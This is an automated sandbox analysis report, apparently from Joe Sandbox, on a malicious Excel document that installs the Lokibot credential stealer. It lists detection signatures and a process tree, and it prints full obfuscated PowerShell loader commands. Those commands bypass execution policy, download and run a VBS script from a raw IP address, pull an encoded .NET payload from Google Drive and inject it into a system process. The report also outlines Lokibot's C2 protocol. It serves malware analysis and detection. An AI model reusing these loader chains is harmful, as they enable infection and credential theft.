Edit tour

Windows Analysis Report
Po docs.xls

Overview

General Information

Sample name:	Po docs.xls
Analysis ID:	1545130
MD5:	4cbbf7815ee93202eb78ae0815ce9c2b
SHA1:	093f0bbc7422766b465332e1c8f608422e702329
SHA256:	dc8cc8622001466d8dd715db5cfd1c7e930f1c201fd1a37106f5191ae68a33e1
Tags:	xlsuser-abuse_ch
Infos:

Detection

HTMLPhisher, Lokibot

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Suricata IDS alerts for network traffic

Yara detected HtmlPhish44

Yara detected Lokibot

Yara detected Powershell download and execute

Bypasses PowerShell execution policy

Document exploit detected (process start blacklist hit)

Excel sheet contains many unusual embedded objects

Injects a PE file into a foreign processes

Installs new ROOT certificates

Machine Learning detection for sample

Microsoft Office drops suspicious files

Obfuscated command line found

PowerShell case anomaly found

Sigma detected: Base64 Encoded PowerShell Command Detected

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: File With Uncommon Extension Created By An Office Application

Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation

Sigma detected: Potential PowerShell Command Line Obfuscation

Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands

Sigma detected: Potentially Suspicious PowerShell Child Processes

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Sigma detected: Suspicious MSHTA Child Process

Sigma detected: Suspicious Microsoft Office Child Process

Sigma detected: Suspicious PowerShell Parameter Substring

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes to foreign memory regions

Wscript starts Powershell (via cmd or directly)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Compiles C# or VB.Net code

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Document contains embedded VBA macros

Document embeds suspicious OLE2 link

Drops PE files

Enables debug privileges

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Queries the volume information (name, serial number etc) of a device

Searches for the Microsoft Outlook file path

Searches the installation path of Mozilla Firefox

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: Excel Network Connections

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: Suspicious Office Outbound Connections

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara signature match

Classification

Process Tree

System is w7x64

EXCEL.EXE (PID: 3456 cmdline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)

mshta.exe (PID: 3748 cmdline: C:\Windows\System32\mshta.exe -Embedding MD5: 95828D670CFD3B16EE188168E083C3C5)

powershell.exe (PID: 3836 cmdline: "C:\Windows\sysTem32\WIndOwspowERSHELl\V1.0\POwErsHELl.EXE" "powerSHeLL.ExE -ex ByPaSs -NoP -w 1 -C DeVICEcREdeNTiaLDEplOymENt.eXE ; IEX($(iEX('[SysTem.tExt.eNCOdINg]'+[cHaR]0x3A+[ChAr]58+'Utf8.geTstrinG([SYsteM.cOnVeRT]'+[cHAR]58+[CHAr]58+'fRoMbaSE64STRiNG('+[ChaR]34+'JDdhMTQ0NGY0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkZC10WVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FbUJFcmRFRmlOSXRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbUd5LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBaemFPalJ3d1Asc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbUgsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEtRWE1LY1JIQmMsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbkV4Tyk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYU1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkFmIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FU3BBQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsYU5FRGsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDdhMTQ0NGY0OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTk4LjQ2LjE3OC4xNTEvNjUvc2VldGhlYmVzdGh0aW5nc3dpdGhtZXdoaWNoZ2l2ZWdyZWF0b3V0cHV0b2ZtZWdvb2QudElGIiwiJGVOVjpBUFBEQVRBXHNlZXRoZWJlc3RodGluZ3N3aXRobWV3aGljaGdpdmVncmVhdG91dHB1dG9mbS52QnMiLDAsMCk7U1RBcnQtc0xlRXAoMyk7c1RBUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVuVjpBUFBEQVRBXHNlZXRoZWJlc3RodGluZ3N3aXRobWV3aGljaGdpdmVncmVhdG91dHB1dG9mbS52QnMi'+[cHar]0X22+'))')))" MD5: A575A7610E5F003CC36DF39E07C4BA7D)

powershell.exe (PID: 3952 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ex ByPaSs -NoP -w 1 -C DeVICEcREdeNTiaLDEplOymENt.eXE MD5: A575A7610E5F003CC36DF39E07C4BA7D)

csc.exe (PID: 4048 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3lzsnizg\3lzsnizg.cmdline" MD5: 23EE3D381CFE3B9F6229483E2CE2F9E1)

cvtres.exe (PID: 4056 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES1F25.tmp" "c:\Users\user\AppData\Local\Temp\3lzsnizg\CSCBF63D2839AE346389099BF789A42623B.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

wscript.exe (PID: 3144 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seethebesthtingswithmewhichgivegreatoutputofm.vBs" MD5: 045451FA238A75305CC26AC982472367)

powershell.exe (PID: 2512 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoICRTaEVMTElkWzFdKyRzaGVsTElkWzEzXSsneCcpICgoJ1M3RmltYWdlJysnVXJsID0gYkJIaHR0cHM6Ly9kcml2ZS5nb29nbGUuY29tL3VjP2V4cG9ydD1kb3dubG9hZCZpZD0xQUlWZ0pKSnYxRjZ2UzRzVU95Ym5ILXNEdlVoQll3dXIgYkJIO1M3RndlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbicrJ3Q7UzdGaW1hZ2VCeXRlcyA9IFM3RndlYkNsaWVudC5Eb3dubG9hZERhJysndGEoUzdGaW1hJysnZ2VVcmwpO1M3RmltYWdlVGV4dCA9JysnIFtTeXN0ZW0uVGUnKyd4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nJysnKFM3RmltYWdlQnl0ZXMpO1M3RnN0YXJ0RmxhZyA9IGJCSDw8JysnQkFTRTY0XycrJ1NUQVJUPj5iQkg7UzdGZW5kRmxhZyA9IGInKydCSDw8QkFTRTY0X0VORD4+YkJIO1M3RnN0YXJ0SW5kZXggPSBTN0ZpbWFnZVRleHQuSW5kZXhPZihTN0ZzdGFydEZsYWcpO1M3RmVuZEluZGV4JysnID0gUzdGaW1hZ2VUZXh0LkluZGV4T2YoUzdGZW5kRmxhJysnZyk7UzdGc3RhcnRJbmRleCAtZ2UgJysnMCAtYW5kIFM3RmVuZEluZGV4IC1ndCBTN0ZzdCcrJ2FydEluZGV4O1M3RnN0YXJ0SW5kZXggKz0gUzdGJysnc3RhcnRGbGFnLkxlbmcnKyd0aDtTN0ZiYScrJ3NlNjRMZW5ndGggPSBTN0ZlbmRJbmRleCAtIFM3RnN0YXInKyd0SW5kZXg7UzdGYmFzZTY0Q29tbWFuZCA9IFM3RmltYWdlVGV4dC5TdWJzdHJpbmcoUzdGc3RhcnRJbmRleCwgUzdGYmFzZTY0TCcrJ2VuZ3RoKTsnKydTN0ZiYXNlNjRSZXZlcnNlZCA9IC1qbycrJ2luICcrJyhTN0ZiYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgQkRGIEZvckVhY2gtT2JqZWN0IHsgUzdGXyB9KVsnKyctJysnMS4nKycuLShTN0ZiYXNlNjRDb21tYW5kLkxlbmd0aCldO1M3RmNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoUzdGYicrJ2FzZTY0UmV2ZXJzZWQpO1M3RmxvYWRlZEFzJysnc2VtJysnYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChTN0Zjb21tYScrJ25kJysnQnl0JysnZXMpO1M3RnZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXScrJy5HZXRNZXRob2QoYkJIVkFJJysnYkJIKTtTN0Z2YWlNZXRob2QuSW52b2tlKFM3Rm51JysnbGwsIEAoYkJIdHh0LktMTExQTVMvNTYvMTUxLjg3MS42NC44OTEvLzpwdHRoYkJILCBiQkhkZXNhdGl2YWRvYkJILCBiQkhkZXNhdGl2YWRvYkInKydILCBiQkhkZXNhdGl2YWRvYkJILCBiQkhhc3BuZXRfcmVnYnJvd3NlcnNiQkgsIGJCSGRlc2F0aXZhZG9iQkgsIGJCSGRlc2F0aXZhZG9iQkgsYkJIZGVzYXRpdmFkb2JCSCxiQkhkZXNhdGl2YWRvJysnYkJILGJCSGRlc2F0aXZhZG8nKydiQkgsYkJIZGUnKydzYXRpdmFkb2JCSCxiQkhkZXNhdGl2YWRvYkJILGJCSDFiQkgsYkJIZGVzYXRpdmFkb2JCSCkpOycpLlJlUGxhY0UoJ0JERicsJ3wnKS5SZVBsYWNFKCdiQkgnLFtzdFJpbmddW2NoYXJdMzkpLlJlUGxhY0UoJ1M3RicsJyQnKSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD MD5: A575A7610E5F003CC36DF39E07C4BA7D)

powershell.exe (PID: 3044 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( $ShELLId[1]+$shelLId[13]+'x') (('S7Fimage'+'Url = bBHhttps://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur bBH;S7FwebClient = New-Object System.Net.WebClien'+'t;S7FimageBytes = S7FwebClient.DownloadDa'+'ta(S7Fima'+'geUrl);S7FimageText ='+' [System.Te'+'xt.Encoding]::UTF8.GetString'+'(S7FimageBytes);S7FstartFlag = bBH<<'+'BASE64_'+'START>>bBH;S7FendFlag = b'+'BH<<BASE64_END>>bBH;S7FstartIndex = S7FimageText.IndexOf(S7FstartFlag);S7FendIndex'+' = S7FimageText.IndexOf(S7FendFla'+'g);S7FstartIndex -ge '+'0 -and S7FendIndex -gt S7Fst'+'artIndex;S7FstartIndex += S7F'+'startFlag.Leng'+'th;S7Fba'+'se64Length = S7FendIndex - S7Fstar'+'tIndex;S7Fbase64Command = S7FimageText.Substring(S7FstartIndex, S7Fbase64L'+'ength);'+'S7Fbase64Reversed = -jo'+'in '+'(S7Fbase64Command.ToCharArray() BDF ForEach-Object { S7F_ })['+'-'+'1.'+'.-(S7Fbase64Command.Length)];S7FcommandBytes = [System.Convert]::FromBase64String(S7Fb'+'ase64Reversed);S7FloadedAs'+'sem'+'bly = [System.Reflection.Assembly]::Load(S7Fcomma'+'nd'+'Byt'+'es);S7FvaiMethod = [dnlib.IO.Home]'+'.GetMethod(bBHVAI'+'bBH);S7FvaiMethod.Invoke(S7Fnu'+'ll, @(bBHtxt.KLLLPMS/56/151.871.64.891//:ptthbBH, bBHdesativadobBH, bBHdesativadobB'+'H, bBHdesativadobBH, bBHaspnet_regbrowsersbBH, bBHdesativadobBH, bBHdesativadobBH,bBHdesativadobBH,bBHdesativado'+'bBH,bBHdesativado'+'bBH,bBHde'+'sativadobBH,bBHdesativadobBH,bBH1bBH,bBHdesativadobBH));').RePlacE('BDF','|').RePlacE('bBH',[stRing][char]39).RePlacE('S7F','$'))" MD5: A575A7610E5F003CC36DF39E07C4BA7D)

aspnet_regbrowsers.exe (PID: 3128 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe" MD5: 04AA198D72229AEED129DC20201BF030)

mshta.exe (PID: 2684 cmdline: C:\Windows\System32\mshta.exe -Embedding MD5: 95828D670CFD3B16EE188168E083C3C5)

powershell.exe (PID: 2876 cmdline: "C:\Windows\sysTem32\WIndOwspowERSHELl\V1.0\POwErsHELl.EXE" "powerSHeLL.ExE -ex ByPaSs -NoP -w 1 -C DeVICEcREdeNTiaLDEplOymENt.eXE ; IEX($(iEX('[SysTem.tExt.eNCOdINg]'+[cHaR]0x3A+[ChAr]58+'Utf8.geTstrinG([SYsteM.cOnVeRT]'+[cHAR]58+[CHAr]58+'fRoMbaSE64STRiNG('+[ChaR]34+'JDdhMTQ0NGY0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkZC10WVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FbUJFcmRFRmlOSXRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbUd5LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBaemFPalJ3d1Asc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbUgsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEtRWE1LY1JIQmMsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbkV4Tyk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYU1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkFmIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FU3BBQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsYU5FRGsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDdhMTQ0NGY0OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTk4LjQ2LjE3OC4xNTEvNjUvc2VldGhlYmVzdGh0aW5nc3dpdGhtZXdoaWNoZ2l2ZWdyZWF0b3V0cHV0b2ZtZWdvb2QudElGIiwiJGVOVjpBUFBEQVRBXHNlZXRoZWJlc3RodGluZ3N3aXRobWV3aGljaGdpdmVncmVhdG91dHB1dG9mbS52QnMiLDAsMCk7U1RBcnQtc0xlRXAoMyk7c1RBUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVuVjpBUFBEQVRBXHNlZXRoZWJlc3RodGluZ3N3aXRobWV3aGljaGdpdmVncmVhdG91dHB1dG9mbS52QnMi'+[cHar]0X22+'))')))" MD5: A575A7610E5F003CC36DF39E07C4BA7D)

powershell.exe (PID: 3388 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ex ByPaSs -NoP -w 1 -C DeVICEcREdeNTiaLDEplOymENt.eXE MD5: A575A7610E5F003CC36DF39E07C4BA7D)

csc.exe (PID: 3848 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\y2w1vq2t\y2w1vq2t.cmdline" MD5: 23EE3D381CFE3B9F6229483E2CE2F9E1)

cvtres.exe (PID: 3808 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES603A.tmp" "c:\Users\user\AppData\Local\Temp\y2w1vq2t\CSCE3D35A7BEA64426091DB9BB55EAE7DEC.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

wscript.exe (PID: 3776 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seethebesthtingswithmewhichgivegreatoutputofm.vBs" MD5: 045451FA238A75305CC26AC982472367)

powershell.exe (PID: 3904 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoICRTaEVMTElkWzFdKyRzaGVsTElkWzEzXSsneCcpICgoJ1M3RmltYWdlJysnVXJsID0gYkJIaHR0cHM6Ly9kcml2ZS5nb29nbGUuY29tL3VjP2V4cG9ydD1kb3dubG9hZCZpZD0xQUlWZ0pKSnYxRjZ2UzRzVU95Ym5ILXNEdlVoQll3dXIgYkJIO1M3RndlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbicrJ3Q7UzdGaW1hZ2VCeXRlcyA9IFM3RndlYkNsaWVudC5Eb3dubG9hZERhJysndGEoUzdGaW1hJysnZ2VVcmwpO1M3RmltYWdlVGV4dCA9JysnIFtTeXN0ZW0uVGUnKyd4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nJysnKFM3RmltYWdlQnl0ZXMpO1M3RnN0YXJ0RmxhZyA9IGJCSDw8JysnQkFTRTY0XycrJ1NUQVJUPj5iQkg7UzdGZW5kRmxhZyA9IGInKydCSDw8QkFTRTY0X0VORD4+YkJIO1M3RnN0YXJ0SW5kZXggPSBTN0ZpbWFnZVRleHQuSW5kZXhPZihTN0ZzdGFydEZsYWcpO1M3RmVuZEluZGV4JysnID0gUzdGaW1hZ2VUZXh0LkluZGV4T2YoUzdGZW5kRmxhJysnZyk7UzdGc3RhcnRJbmRleCAtZ2UgJysnMCAtYW5kIFM3RmVuZEluZGV4IC1ndCBTN0ZzdCcrJ2FydEluZGV4O1M3RnN0YXJ0SW5kZXggKz0gUzdGJysnc3RhcnRGbGFnLkxlbmcnKyd0aDtTN0ZiYScrJ3NlNjRMZW5ndGggPSBTN0ZlbmRJbmRleCAtIFM3RnN0YXInKyd0SW5kZXg7UzdGYmFzZTY0Q29tbWFuZCA9IFM3RmltYWdlVGV4dC5TdWJzdHJpbmcoUzdGc3RhcnRJbmRleCwgUzdGYmFzZTY0TCcrJ2VuZ3RoKTsnKydTN0ZiYXNlNjRSZXZlcnNlZCA9IC1qbycrJ2luICcrJyhTN0ZiYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgQkRGIEZvckVhY2gtT2JqZWN0IHsgUzdGXyB9KVsnKyctJysnMS4nKycuLShTN0ZiYXNlNjRDb21tYW5kLkxlbmd0aCldO1M3RmNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoUzdGYicrJ2FzZTY0UmV2ZXJzZWQpO1M3RmxvYWRlZEFzJysnc2VtJysnYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChTN0Zjb21tYScrJ25kJysnQnl0JysnZXMpO1M3RnZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXScrJy5HZXRNZXRob2QoYkJIVkFJJysnYkJIKTtTN0Z2YWlNZXRob2QuSW52b2tlKFM3Rm51JysnbGwsIEAoYkJIdHh0LktMTExQTVMvNTYvMTUxLjg3MS42NC44OTEvLzpwdHRoYkJILCBiQkhkZXNhdGl2YWRvYkJILCBiQkhkZXNhdGl2YWRvYkInKydILCBiQkhkZXNhdGl2YWRvYkJILCBiQkhhc3BuZXRfcmVnYnJvd3NlcnNiQkgsIGJCSGRlc2F0aXZhZG9iQkgsIGJCSGRlc2F0aXZhZG9iQkgsYkJIZGVzYXRpdmFkb2JCSCxiQkhkZXNhdGl2YWRvJysnYkJILGJCSGRlc2F0aXZhZG8nKydiQkgsYkJIZGUnKydzYXRpdmFkb2JCSCxiQkhkZXNhdGl2YWRvYkJILGJCSDFiQkgsYkJIZGVzYXRpdmFkb2JCSCkpOycpLlJlUGxhY0UoJ0JERicsJ3wnKS5SZVBsYWNFKCdiQkgnLFtzdFJpbmddW2NoYXJdMzkpLlJlUGxhY0UoJ1M3RicsJyQnKSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD MD5: A575A7610E5F003CC36DF39E07C4BA7D)

powershell.exe (PID: 4032 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( $ShELLId[1]+$shelLId[13]+'x') (('S7Fimage'+'Url = bBHhttps://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur bBH;S7FwebClient = New-Object System.Net.WebClien'+'t;S7FimageBytes = S7FwebClient.DownloadDa'+'ta(S7Fima'+'geUrl);S7FimageText ='+' [System.Te'+'xt.Encoding]::UTF8.GetString'+'(S7FimageBytes);S7FstartFlag = bBH<<'+'BASE64_'+'START>>bBH;S7FendFlag = b'+'BH<<BASE64_END>>bBH;S7FstartIndex = S7FimageText.IndexOf(S7FstartFlag);S7FendIndex'+' = S7FimageText.IndexOf(S7FendFla'+'g);S7FstartIndex -ge '+'0 -and S7FendIndex -gt S7Fst'+'artIndex;S7FstartIndex += S7F'+'startFlag.Leng'+'th;S7Fba'+'se64Length = S7FendIndex - S7Fstar'+'tIndex;S7Fbase64Command = S7FimageText.Substring(S7FstartIndex, S7Fbase64L'+'ength);'+'S7Fbase64Reversed = -jo'+'in '+'(S7Fbase64Command.ToCharArray() BDF ForEach-Object { S7F_ })['+'-'+'1.'+'.-(S7Fbase64Command.Length)];S7FcommandBytes = [System.Convert]::FromBase64String(S7Fb'+'ase64Reversed);S7FloadedAs'+'sem'+'bly = [System.Reflection.Assembly]::Load(S7Fcomma'+'nd'+'Byt'+'es);S7FvaiMethod = [dnlib.IO.Home]'+'.GetMethod(bBHVAI'+'bBH);S7FvaiMethod.Invoke(S7Fnu'+'ll, @(bBHtxt.KLLLPMS/56/151.871.64.891//:ptthbBH, bBHdesativadobBH, bBHdesativadobB'+'H, bBHdesativadobBH, bBHaspnet_regbrowsersbBH, bBHdesativadobBH, bBHdesativadobBH,bBHdesativadobBH,bBHdesativado'+'bBH,bBHdesativado'+'bBH,bBHde'+'sativadobBH,bBHdesativadobBH,bBH1bBH,bBHdesativadobBH));').RePlacE('BDF','|').RePlacE('bBH',[stRing][char]39).RePlacE('S7F','$'))" MD5: A575A7610E5F003CC36DF39E07C4BA7D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Loki Password Stealer (PWS), LokiBot	"Loki Bot is a commodity malware sold on underground sites which is designed to steal private data from infected machines, and then submit that info to a command and control host via HTTP POST. This private data includes stored passwords, login credential information from Web browsers, and a variety of cryptocurrency wallets." - PhishMeLoki-Bot employs function hashing to obfuscate the libraries utilized. While not all functions are hashed, a vast majority of them are.Loki-Bot accepts a single argument/switch of -u that simply delays execution (sleeps) for 10 seconds. This is used when Loki-Bot is upgrading itself.The Mutex generated is the result of MD5 hashing the Machine GUID and trimming to 24-characters. For example: B7E1C2CC98066B250DDB2123.Loki-Bot creates a hidden folder within the %APPDATA% directory whose name is supplied by the 8th thru 13th characters of the Mutex. For example: %APPDATA%\ C98066\.There can be four files within the hidden %APPDATA% directory at any given time: .exe, .lck, .hdb and .kdb. They will be named after characters 13 thru 18 of the Mutex. For example: 6B250D. Below is the explanation of their purpose:FILE EXTENSIONFILE DESCRIPTION.exeA copy of the malware that will execute every time the user account is logged into.lckA lock file created when either decrypting Windows Credentials or Keylogging to prevent resource conflicts.hdbA database of hashes for data that has already been exfiltrated to the C2 server.kdbA database of keylogger data that has yet to be sent to the C2 serverIf the user is privileged, Loki-Bot sets up persistence within the registry under HKEY_LOCAL_MACHINE. If not, it sets up persistence under HKEY_CURRENT_USER.The first packet transmitted by Loki-Bot contains application data.The second packet transmitted by Loki-Bot contains decrypted Windows credentials.The third packet transmitted by Loki-Bot is the malware requesting C2 commands from the C2 server. By default, Loki-Bot will send this request out every 10 minutes after the initial packet it sent.Communications to the C2 server from the compromised host contain information about the user and system including the username, hostname, domain, screen resolution, privilege level, system architecture, and Operating System.The first WORD of the HTTP Payload represents the Loki-Bot version.The second WORD of the HTTP Payload is the Payload Type. Below is the table of identified payload types:BYTEPAYLOAD TYPE0x26Stolen Cryptocurrency Wallet0x27Stolen Application Data0x28Get C2 Commands from C2 Server0x29Stolen File0x2APOS (Point of Sale?)0x2BKeylogger Data0x2CScreenshotThe 11th byte of the HTTP Payload begins the Binary ID. This might be useful in tracking campaigns or specific threat actors. This value value is typically ckav.ru. If you come across a Binary ID that is different from this, take note!Loki-Bot encrypts both the URL and the registry key used for persistence using Triple DES encryption.The Content-Key HTTP Header value is the result of hashing the HTTP Header values that precede it. This is likely used as a protection against researchers who wish to poke and prod at Loki-Bots C2 infrastructure.Loki-Bot can accept the following instructions from the C2 Server:BYTEINSTRUCTION DESCRIPTION0x00Download EXE & Execute0x01Download DLL & Load #10x02Download DLL & Load #20x08Delete HDB File0x09Start Keylogger0x0AMine & Steal Data0x0EExit Loki-Bot0x0FUpgrade Loki-Bot0x10Change C2 Polling Frequency0x11Delete Executables & ExitSuricata SignaturesRULE SIDRULE NAME2024311ET TROJAN Loki Bot Cryptocurrency Wallet Exfiltration Detected2024312ET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M12024313ET TROJAN Loki Bot Request for C2 Commands Detected M12024314ET TROJAN Loki Bot File Exfiltration Detected2024315ET TROJAN Loki Bot Keylogger Data Exfiltration Detected M12024316ET TROJAN Loki Bot Screenshot Exfiltration Detected2024317ET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M22024318ET TROJAN Loki Bot Request for C2 Commands Detected M22024319ET TROJAN Loki Bot Keylogger Data Exfiltration Detected M2	SWEED The Gorgon Group Cobalt	http://blog.reversing.xyz/reversing/2021/06/08/lokibot.html http://reversing.fun/posts/2021/06/08/lokibot.html http://reversing.fun/reversing/2021/06/08/lokibot.html http://www.malware-traffic-analysis.net/2017/06/12/index.html https://blog.fortinet.com/2017/05/17/new-loki-variant-being-spread-via-pdf-file	https://malpedia.caad.fkie.fraunhofer.de/details/win.lokipws

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\creatednewthingsforme[1].hta	JoeSecurity_HtmlPhish_44	Yara detected HtmlPhish_44	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: powershell.exe PID: 3044	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
